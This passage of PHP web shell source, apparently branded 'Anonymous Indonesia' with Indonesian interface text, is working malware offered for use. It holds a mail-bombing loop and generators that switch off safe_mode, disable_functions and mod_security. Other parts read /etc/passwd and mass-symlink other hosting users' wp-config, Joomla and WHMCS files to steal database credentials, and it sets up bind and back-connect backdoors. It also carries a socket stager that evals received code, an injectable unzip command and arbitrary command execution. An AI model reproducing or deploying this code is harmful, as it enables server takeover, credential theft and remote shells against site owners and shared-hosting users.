  2673. //Fungsi Isi Pesan
  2674. $deathnote = $_POST['deathnote'];
  2675.  
  2676. if ($dm=="dm" ) {
  2677. for ($i=0;$i <$sodok;$i++) {
  2678. $a= $wew;
  2679. $janda = $anu.$i;
  2680. mail( $wow,$janda,$deathnote.str_repeat(" ", 0*$xdm),"From: $a <$a>\r\n" );
  2681. } echo (" <center>* SUKSES :D | HAJAR LAGI BOS :P *</center>");
  2682. }
  2683. //WE ARE DMASTERPIECE
  2684. //WE ARE LEGION
  2685. //WE ARE FAMILY
  2686. //WE DO NOT FORGIVE
  2687. //WE DO NOT FORGET
  2688. //EXPECT US
  2689. //Created By Andri <~> Sh4d0w4rT
  2690. exit;
  2691. ?>
  2692.  
  2693. <?php }
  2694. elseif(isset($_GET['x']) && ($_GET['x'] == 'config')){ ?>
  2695. <form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post">
  2696. <?php
  2697. $head = '
  2698. <html>
  2699. <head>
  2700. </script>
  2701. <title>./X-RooT</title>
  2702. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  2703. <script language=\'javascript\'>
  2704. function hide_div(id)
  2705. {
  2706. document.getElementById(id).style.display = \'none\';
  2707. document.cookie=id+\'=0;\';
  2708. }
  2709. function show_div(id)
  2710. {
  2711. document.getElementById(id).style.display = \'block\';
  2712. document.cookie=id+\'=1;\';
  2713. }
  2714. function change_divst(id)
  2715. {
  2716. if (document.getElementById(id).style.display == \'none\')
  2717. show_div(id);
  2718. else
  2719. hide_div(id);
  2720. }
  2721. </script>'; ?>
  2722. <html>
  2723. <head>
  2724. <?php
  2725. echo $head ;
  2726. echo '
  2727.  
  2728. <table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
  2729. <td width="100%" align=center valign="top" rowspan="1">
  2730. <font color=red style=color:#FF0000;background-color:#000000 size=5 face="comic sans ms"><b>--==[[</font><font color=red size=5 face="comic sans ms"><b>D</font><font color=white size=5 face="comic sans ms"><b>M</font><font color=white size=5 face="comic sans ms"><b>]]==--</font> <div class="hedr">
  2731. </table>';
  2732.  
  2733. ?>
  2734. <body bgcolor=black><h3 style="text-align:center"><font color=red size=2 face="comic sans ms"><div align=center><table><tr><td><img src="http://t1.gstatic.com/images?q=tbn:ANd9GcS2aT9oFp8Ysph9AvXGwsXxE4oppDKmPy7dNDTfjYtzMVURWpCOVsfAzyY1"></td></tr></table><br>
  2735. <center><font color=red size=4 face="comic sans ms"><b>ANONYMOUS</font><font color=white size=4 face="comic sans ms"><b> INDONESIA</font><br>
  2736. <hr>
  2737. <form method=post><font color=white size=3 face="comic sans ms">Generate php.ini Untuk Bypass </font><p>
  2738. <input type=submit style=color:#FF0000;background-color:#000000 name=ini value="C-RooT PHP.ini" /></form>
  2739. <form method=post><font color=white size=3 face="comic sans ms">Dapatkan Folder Root & Config</font><p>
  2740. <input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="C-RooT Config" /></form><br>
  2741. <hr>
  2742.  
  2743. <?php
  2744. if(isset($_POST['ini']))
  2745. {
  2746. $r=fopen('php.ini','w');
  2747. $rr=" disable_functions = none
  2748. safe_mode = off";
  2749. fwrite($r,$rr);
  2750. $link="<a href=php.ini><font color=white size=2 style=color:#FF0000;background-color:#000000 face=\"comic sans ms\"><u>--=[ X-Php.ini ]=--</u></font></a>";
  2751. echo $link;
  2752. }
  2753. ?>
  2754.  
  2755. <?php
  2756. if(isset($_POST['usre'])){
  2757. ?>
  2758. <form method=post>
  2759. <textarea rows=5 style=color:#FF0000;background-color:#000000 cols=20 name=user><?php $users=file("/etc/passwd");
  2760. foreach($users as $user)
  2761. {
  2762. $str=explode(":",$user);
  2763. echo $str[0]."\n";
  2764. }
  2765.  
  2766. ?></textarea><br><br>
  2767. <input type=submit style=color:#FF0000;background-color:#000000 name=su value="C-Root etc/passwd" /></form><br/>
  2768. <?php } ?>
  2769. <?php
  2770. error_reporting(0);
  2771. echo "<font color=white size=2 face=\"comic sans ms\">";
  2772. if(isset($_POST['su']))
  2773. {
  2774. mkdir('dm',0777);
  2775. $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2776. $g = fopen('dm/.htaccess','w');
  2777. fwrite($g,$rr);
  2778. $dm = symlink("/","dm/root");
  2779. $rt="<a href=dm/root><font color=red size=3 style=color:#FF0000;background-color:#000000 face=\"comic sans ms\">--=[[ X-RooT ]]=--</font></a>";
  2780. echo "List Folder Root<br><u>$rt</u>";
  2781.  
  2782. $dir=mkdir('DM',0777);
  2783. $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2784. $f = fopen('DM/.htaccess','w');
  2785. fwrite($f,$r);
  2786. $consym="<a href=DM/><font color=red style=color:#FF0000;background-color:#000000 size=3 face=\"comic sans ms\">--=[[ X-Config ]]=--</font></a>";
  2787. echo "<br> List Folder Config <br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
  2788.  
  2789. $usr=explode("\n",$_POST['user']);
  2790. $configuration=array("symlink.php","symv3.php","c99.php","shell.php","cpanel.php","r57.php","mysql.php","404.php","priv8.php","b374k.php","B374k.php","whm.php","include/config.php","include/koneksi.php","include/mysql.php","include/database.php","include/db.php","db.php","crotz.php","indo.php","g3tar.php","dhanush.php","B-F.php","crot.php","c100.php","config/database.php","config/db.php","config/koneksi.php","database.php","confkiller.php","whmcs.php","admin/include/koneksi.php","wp-config.php","wp/wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","anu.php","include/db.php","include/koneksi.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","aksi.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","secure/configuration.php","trial/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
  2791. foreach($usr as $uss )
  2792. {
  2793. $us=trim($uss);
  2794. foreach($configuration as $c)
  2795. {
  2796. $rs="/home/".$us."/public_html/".$c;
  2797. $r="DM/".$us."~".$c;
  2798. symlink($rs,$r);
  2799. }
  2800. }
  2801. }
  2802. ?>
  2803.  
  2804.  
  2805.  
  2806. <?php }
  2807. elseif(isset($_GET['x']) && ($_GET['x'] == 'unzip')){ ?>
  2808. <form action="?y=<?php echo $pwd; ?>&amp;x=unzip" method="post">
  2809. <?php
  2810.  
  2811. $file = $_POST['file'];
  2812. if (isset($file))
  2813. {
  2814. echo "<b>[+] PROSES BONGKAR [+]</b><br><br>";
  2815. system('unzip -o ' . $file);
  2816. exit;
  2817. }
  2818.  
  2819. $handler = opendir(".");
  2820. echo "<br><br><b>Pilih File Yg Mau Di Unzip :<b><br> " . "<br>";
  2821. echo '<form action="" method="get">';
  2822. $found = false;
  2823.  
  2824.  
  2825. while ($file = readdir($handler))
  2826. {
  2827. if (preg_match ("/.zip$/i", $file))
  2828. {
  2829. echo '<input type="radio" name="file" value=' . $file . '> ' . $file . '<br>';
  2830. $found = true;
  2831. }
  2832. }
  2833. closedir($handler);
  2834. if ($found == false)
  2835. echo "<br><br><b>[+] GA ADA FILE EXTENSI ZIP [+]<b><br>";
  2836. else
  2837. echo '<br><br><INPUT type="submit" value="HAJAR BRAY :v">';
  2838. echo "</form>";
  2839. ?>
  2840.  
  2841. <?php }
  2842. elseif(isset($_GET['x']) && ($_GET['x'] == 'cehash')){ ?>
  2843. <form action="?y=<?php echo $pwd; ?>&amp;x=cehash" method="post">
  2844.  
  2845. <br><br><center><form method=POST>
  2846. <input type="text" style="color:#FF0000;background-color:#000000" name="hashToAnalyze" size=60><input type="submit" style="color:#FF0000;background-color:#000000" value="Analyze Now" name="analyzieNow"></form></center>
  2847. <?php
  2848. if($_POST['analyzieNow'])
  2849. {
  2850. $hash = $_POST['hashToAnalyze'];
  2851. $subHash = substr($hash,0,3);
  2852. if($subHash =='$ap' && strlen($hash) == 37)
  2853. {
  2854. echo "The Hash : ".$hash." is : MD5(APR) Hash";
  2855. }
  2856. else if($subHash =='$1$' && strlen($hash) == 34)
  2857. {
  2858. echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
  2859. }
  2860. else if($subHash =='$H$' && strlen($hash) == 35)
  2861. {
  2862. echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
  2863. }
  2864. else if(strlen($hash) == 29)
  2865. {
  2866. echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
  2867. }
  2868. else if($subHash =='$5$' && strlen($hash) == 64)
  2869. {
  2870. echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
  2871. }
  2872. else if($subHash =='$6$' && strlen($hash) == 128)
  2873. {
  2874. echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
  2875. }
  2876. else if(strlen($hash) == 56)
  2877. {
  2878. echo "The Hash : ".$hash." is : SHA224 Hash";
  2879. }
  2880. else if(strlen($hash) == 64)
  2881. {
  2882. echo "The Hash : ".$hash." is : SHA256 Hash";
  2883. }
  2884. else if(strlen($hash) == 96)
  2885. {
  2886. echo "The Hash : ".$hash." is : SHA384 Hash";
  2887. }
  2888. else if(strlen($hash) == 128)
  2889. {
  2890. echo "The Hash : ".$hash." is : SHA512 Hash";
  2891. }
  2892. else if(strlen($hash) == 40)
  2893. {
  2894. echo "The Hash : ".$hash." is : MySQL v5.x Hash";
  2895. }
  2896. else if(strlen($hash) == 16)
  2897. {
  2898. echo "The Hash : ".$hash." is : MySQL Hash";
  2899. }
  2900. else if(strlen($hash) == 13)
  2901. {
  2902. echo "The Hash : ".$hash." is : DES(Unix) Hash";
  2903. }
  2904. else if(strlen($hash) == 32)
  2905. {
  2906. echo "The Hash : ".$hash." is : MD5 Hash";
  2907. }
  2908. else if(strlen($hash) == 4)
  2909. {
  2910. echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
  2911. else
  2912. {
  2913. echo "Error : Can't Detect Hash Type";
  2914. }
  2915. }
  2916. ?>
  2917.  
  2918.  
  2919.  
  2920. <?php }
  2921. elseif(isset($_GET['x']) && ($_GET['x'] == 'bind')){ ?>
  2922. <form action="?y=<?php echo $pwd; ?>&amp;x=bind" method="post">
  2923. <?php
  2924. if($_POST['bind'])
  2925. {
  2926. if (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C'))
  2927. {
  2928. $port = trim($_POST['port']);
  2929. $passwrd = trim($_POST['bind_pass']);
  2930. tulis("bdc.c",$port_bind_bd_c);
  2931. Exe('gcc -o bdc bdc.c');
  2932. Exe('chmod 777 bdc');
  2933. @unlink("bdc.c");
  2934. Exe("./bdc ".$port." ".$passwrd." &");
  2935. $scan = Exe("ps aux");
  2936. if(eregi("./bdc $por",$scan))
  2937. {
  2938. $msg = "Process found running, backdoor setup successfully.";
  2939. }
  2940. else
  2941. {
  2942. $msg = "Process not found running, backdoor not setup successfully.";
  2943. }
  2944. }
  2945.  
  2946. elseif (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl'))
  2947. {
  2948. $port = trim($_POST['port']);
  2949. $passwrd = trim($_POST['bind_pass']);
  2950. tulis("bdp",$port_bind_bd_pl);
  2951. Exe("chmod 777 bdp");
  2952. $p2=which("perl");
  2953. Exe($p2." bdp ".$port." &");
  2954. $scan = Exe("ps aux");
  2955. if(eregi("$p2 bdp $port",$scan))
  2956. {
  2957. $msg = "Process found running, backdoor setup successfully.";
  2958. }
  2959. else
  2960. {
  2961. $msg = "Process not found running, backdoor not setup successfully.";
  2962. }
  2963. }
  2964. }
  2965.  
  2966.  
  2967. echo "</textarea>";
  2968.  
  2969.  
  2970. echo "<br><br><center><form method=POST><input style='color:#FF0000;background-color:#000000' type='text' name='bind_pass' size='26' value='".gethostbyname($_SERVER["HTTP_HOST"])."'><input type='text' name='port' style='color:#FF0000;background-color:#000000'size='26' value='443'><select style='color:#FF0000;background-color:#000000' name='use'><option value='Perl'>Perl</option><option value='C'>C</option></select> <input class='inputzbut' type='submit' name='bind' value='Bind' style='width:120px'></form></center>";
  2971. ?>
  2972.  
  2973. <?php }
  2974. elseif(isset($_GET['x']) && ($_GET['x'] == 'back')){ ?>
  2975. <form action="?y=<?php echo $pwd; ?>&amp;x=back" method="post">
  2976. <?php
  2977. if($_POST['backconn'])
  2978. {
  2979. if (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C'))
  2980. {
  2981. $ip = trim($_POST['ip']);
  2982. $port = trim($_POST['backport']);
  2983. tulis("bcc.c",$back_connect_c);
  2984. Exe('gcc -o bcc bcc.c');
  2985. Exe('chmod 777 bcc');
  2986. @unlink('bcc.c');
  2987. Exe("./bcc ".$ip." ".$port." &");
  2988. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  2989. }
  2990. elseif (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl'))
  2991. {
  2992. $ip = trim($_POST['ip']);
  2993. $port = trim($_POST['backport']);
  2994. tulis("bcp",$back_connect);
  2995. Exe("chmod +x bcp");
  2996. $p2=which("perl");
  2997. Exe($p2." bcp ".$ip." ".$port." &");
  2998. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  2999. }
  3000. }
  3001. echo "<br><br><center><form method=POST><input type='text' style='color:#FF0000;background-color:#000000' name='ip' size='26' value='".GetRealIP()."'><input type='text' style='color:#FF0000;background-color:#000000' name='backport' size='26' value='443'><select style='color:#FF0000;background-color:#000000' name='use'><option value='Perl'>Perl</option><option value='C'>C</option></select> <input type='submit' style='color:#FF0000;background-color:#000000' name='backconn' value='Connect'></form></center>";
  3002.  
  3003. ?>
  3004. <?php }
  3005. elseif(isset($_GET['x']) && ($_GET['x'] == 'mc')){ ?>
  3006. <form action="?y=<?php echo $pwd; ?>&amp;x=mc" method="post">
  3007.  
  3008. <br><br><center><form method=POST><input type='text' size='15' name='ip' style='color:#FF0000;background-color:#000000' value='127.0.0.1'><input type='text' size='5' style='color:#FF0000;background-color:#000000' name='port' value='443'>
  3009. <input type='submit' style='color:#FF0000;background-color:#000000' value='Connect' name='metaConnect'></form></center>
  3010.  
  3011. <?php
  3012.  
  3013. if($_POST['metaConnect'])
  3014. {
  3015. $ip = $_POST['ip'];
  3016. $port = $_POST['port'];
  3017. if ($ip == "" && $port == "")
  3018. {
  3019. echo "Please fill IP Adress & The listen Port";
  3020. }
  3021. else
  3022. {
  3023. $ipaddr = $ip;
  3024. $port = $port;
  3025. if (FALSE !== strpos($ipaddr, ":"))
  3026. {
  3027. $ipaddr = "[". $ipaddr ."]";
  3028. }
  3029. if (is_callable('stream_socket_client'))
  3030. {
  3031. $msgsock = @stream_socket_client("tcp://{$ipaddr}:{$port}");
  3032. if (!$msgsock)
  3033. {
  3034. die();
  3035. }
  3036. $msgsock_type = 'stream';
  3037. }
  3038. elseif (is_callable('fsockopen'))
  3039. {
  3040. $msgsock = fsockopen($ipaddr,$port);
  3041. if (!$msgsock)
  3042. {
  3043. die();
  3044. }
  3045. $msgsock_type = 'stream';
  3046. }
  3047. elseif (is_callable('socket_create'))
  3048. {
  3049. $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  3050. $res = socket_connect($msgsock, $ipaddr, $port);
  3051. if (!$res)
  3052. {
  3053. die();
  3054. }
  3055. $msgsock_type = 'socket';
  3056. }
  3057. else
  3058. {
  3059. die();
  3060. }
  3061. switch ($msgsock_type)
  3062. {
  3063. case 'stream': $len = fread($msgsock, 4); break;
  3064. case 'socket': $len = socket_read($msgsock, 4); break;
  3065. }
  3066. if (!$len)
  3067. {
  3068. die();
  3069. }
  3070. $a = unpack("Nlen", $len);
  3071. $len = $a['len'];
  3072. $buffer = '';
  3073. while (strlen($buffer) < $len)
  3074. {
  3075. switch ($msgsock_type)
  3076. {
  3077. case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer));
  3078. break;
  3079. case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));
  3080. break;
  3081. }
  3082. }
  3083. eval($buffer);
  3084. echo "[*] Connection Terminated";
  3085. die();
  3086. }
  3087. }
  3088. ?>
  3089.  
  3090. <?php }
  3091. elseif(isset($_GET['x']) && ($_GET['x'] == '403')){ ?>
  3092. <form action="?y=<?php echo $pwd; ?>&amp;x=403" method="post">
  3093. <?php
  3094. if($_POST['generateForbidden'])
  3095. {
  3096. @chdir($_POST['forbiddenPath']);
  3097. @mkdir('forbidden');
  3098. @chdir('forbidden');
  3099. $htaccess = fopen('.htaccess','w+');
  3100. if($_POST['403'] == 'DirectoryIndex')
  3101. {
  3102. fwrite($htaccess,"DirectoryIndex in.txt");
  3103. }
  3104. elseif($_POST['403'] == 'HeaderName')
  3105. {
  3106. fwrite($htaccess,"HeaderName in.txt");
  3107. }
  3108. elseif($_POST['403'] == 'TXT')
  3109. {
  3110. fwrite($htaccess,"
  3111. Options Indexes FollowSymLinks
  3112. addType txt .php
  3113. AddHandler txt .php");
  3114. }
  3115. elseif($_POST['403'] == '404')
  3116. {
  3117. fwrite($htaccess,"
  3118. ErrorDocument 404 /404.html
  3119. 404.html = Symlinked in.txt ");
  3120. }
  3121. elseif($_POST['403'] == 'ReadmeName')
  3122. {
  3123. fwrite($htaccess,"ReadmeName in.txt");
  3124. }
  3125. elseif($_POST['403'] == 'footerName')
  3126. {
  3127. fwrite($htaccess,"footerName in.txt");
  3128. }
  3129. echo "
  3130. Now Go To [ forbidden ] Dir And Then make The Shortcut [ in.txt ]
  3131. EX : ln -s /home/user/public_html/config.php in.txt";
  3132. }
  3133. echo "<br><br><center><form method=POST><input type='text' style='color:#FF0000;background-color:#000000' value='".getcwd()."' name='forbiddenPath' size='30%'/><select style='color:#FF0000;background-color:#000000' name='403'><option value='DirectoryIndex'>DirectoryIndex</option><option value='HeaderName'>HeaderName</option><option value='TXT'>TXT</option><option value='404'>404</option><option value='ReadmeName'>ReadmeName</option><option value='footerName'>footerName</option> </select>
  3134. <input type='submit' style='color:#FF0000;background-color:#000000' value='Generate' name='generateForbidden'></form></center>";
  3135. ?>
  3136.  
  3137. <?php }
  3138. elseif(isset($_GET['x']) && ($_GET['x'] == 'calias')){ ?>
  3139. <form action="?y=<?php echo $pwd; ?>&amp;x=calias" method="post">
  3140. <?php
  3141. if($_POST['submitCommands'])
  3142. {
  3143. echo Exe($_POST['alias']);
  3144. }
  3145. echo "<br><br><center><form method=POST><table><tr><td height='45' style='color:#FF0000;background-color:#000000' colspan='2'>";SelectCommand($os); echo "<input name='submitCommands' style='color:#FF0000;background-color:#000000' type='submit' value='ExecuteCommand'></td></tr></table></form></center>";
  3146. ?>
  3147.  
  3148.  
  3149. <?php }
  3150. elseif(isset($_GET['x']) && ($_GET['x'] == 'sec2')){ ?>
  3151. <br><br><center><form action="?y=<?php echo $pwd; ?>&amp;x=sec2" method="post">
  3152. <form method=POST><input type=submit style='color:#FF0000;background-color:#000000' value='Generate .HTAccess' name='htaccessGenerate'> <input type=submit style='color:#FF0000;background-color:#000000' value='Generate php.ini' name='phpiniGenerate'> <input style='color:#FF0000;background-color:#000000' type=submit value='Generate ini.php' name='iniphpGenerate'><br/><br/></form></center>
  3153.  
  3154. <?php
  3155. if($_POST['phpiniGenerate'])
  3156. {
  3157. GenerateFile("php.ini","
  3158. safe_mode = Off
  3159. disable_functions = NONE
  3160. safe_mode_gid = OFF
  3161. open_basedir = OFF");
  3162. echo "php.ini Has Been Generated Successfully";
  3163. }
  3164. else if($_POST['htaccessGenerate'])
  3165. {
  3166. GenerateFile(".htaccess","
  3167. <IfModule mod_security.c>
  3168. SecFilterEngine Off
  3169. SecFilterScanPOST Off
  3170. SecFilterCheckURLEncoding Off
  3171. SecFilterCheckCookieFormat Off
  3172. SecFilterCheckUnicodeEncoding Off
  3173. SecFilterNormalizeCookies Off
  3174. </IfModule>
  3175. SetEnv PHPRC ".getcwd()."php.ini
  3176. suPHP_ConfigPath ".getcwd()."php.ini
  3177. ");
  3178. echo ".htaccess Has Been Generated Successfully ";
  3179. }
  3180. else if($_POST['iniphpGenerate'])
  3181. {
  3182. GenerateFile("ini.php","
  3183. ini_restore(\"safe_mode\");
  3184. ini_restore(\"open_basedir\");
  3185. ");
  3186. echo "ini.php Has Been Generated Successfully";
  3187. }
  3188. ?>
  3189.  
  3190. <?php }
  3191. elseif(isset($_GET['x']) && ($_GET['x'] == 'grab')){ ?>
  3192. <form action="?y=<?php echo $pwd; ?>&amp;x=grab" method="post">
  3193. <body><center><form method="POST">
  3194. <textarea style="color:#FF0000;background-color:#000000"cols="50" rows="20" name="passwd" ></textarea></br>
  3195. <input name="cat" size="80" style="color:#FF0000;background-color:#000000"value="START" type="submit"></br></form>
  3196. <?php
  3197.  
  3198.  
  3199. @error_reporting(0);
  3200. @set_time_limit(0);
  3201.  
  3202. if($_POST["cat"] && !$_POST["passwd"]==""){
  3203. echo "Checking Functions ...<br>";
  3204. $functions=@ini_get("disable_functions");
  3205. if(eregi("symlink",$functions)){
  3206. die("<font color=red>Symlink Function is DisableD, You Can't Continue This Process !!</font>");
  3207. }
  3208. echo "Checking Done Without Problems, Continue ...<br>";
  3209. @mkdir("dm_grab", 0755);
  3210. @chdir("dm_grab");
  3211. $htaccess="
  3212. Options all
  3213. Options +Indexes
  3214. Options +FollowSymLinks
  3215. DirectoryIndex Sux.html
  3216. AddType text/plain .php
  3217. AddHandler server-parsed .php
  3218. AddType text/plain .html
  3219. AddHandler txt .html
  3220. Require None
  3221. Satisfy Any
  3222. ";
  3223. file_put_contents(".htaccess",$htaccess,FILE_APPEND);
  3224. $passwd=$_POST["passwd"];
  3225. $passwd=explode("\n",$passwd);
  3226. echo "Start Symlinking ...<br>";
  3227. foreach($passwd as $pwd){
  3228. $pawd=explode(":",$pwd);
  3229. $user =$pawd[0];
  3230. // Now symlink Them
  3231. @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
  3232. @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
  3233. @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
  3234. @symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
  3235. @symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
  3236. @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
  3237. @symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
  3238. @symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
  3239. @symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
  3240. @symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
  3241. @symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
  3242. @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
  3243. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
  3244. @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
  3245. @symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
  3246. @symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
  3247. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  3248. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  3249. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  3250. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  3251. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  3252. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  3253. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  3254. @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  3255. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  3256. @symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
  3257. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  3258. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  3259. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  3260. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  3261. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  3262. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  3263. @symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
  3264. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  3265. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  3266. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
  3267. @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
  3268. @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
  3269. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  3270. @symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
  3271. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  3272. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  3273. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  3274. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  3275. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  3276. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  3277. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  3278. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  3279. @symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
  3280. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
  3281. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
  3282. @symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
  3283. @symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
  3284. @symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
  3285. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  3286. @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  3287. @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  3288. @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  3289. @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  3290. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  3291. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
  3292. @symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
  3293. @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
  3294. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
  3295. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
  3296. @symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
  3297. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
  3298. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
  3299. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
  3300. @symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
  3301. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  3302. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  3303. @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
  3304. @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
  3305. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
  3306. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
  3307. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
  3308. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt');
  3309. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt');
  3310. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt');
  3311. @symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
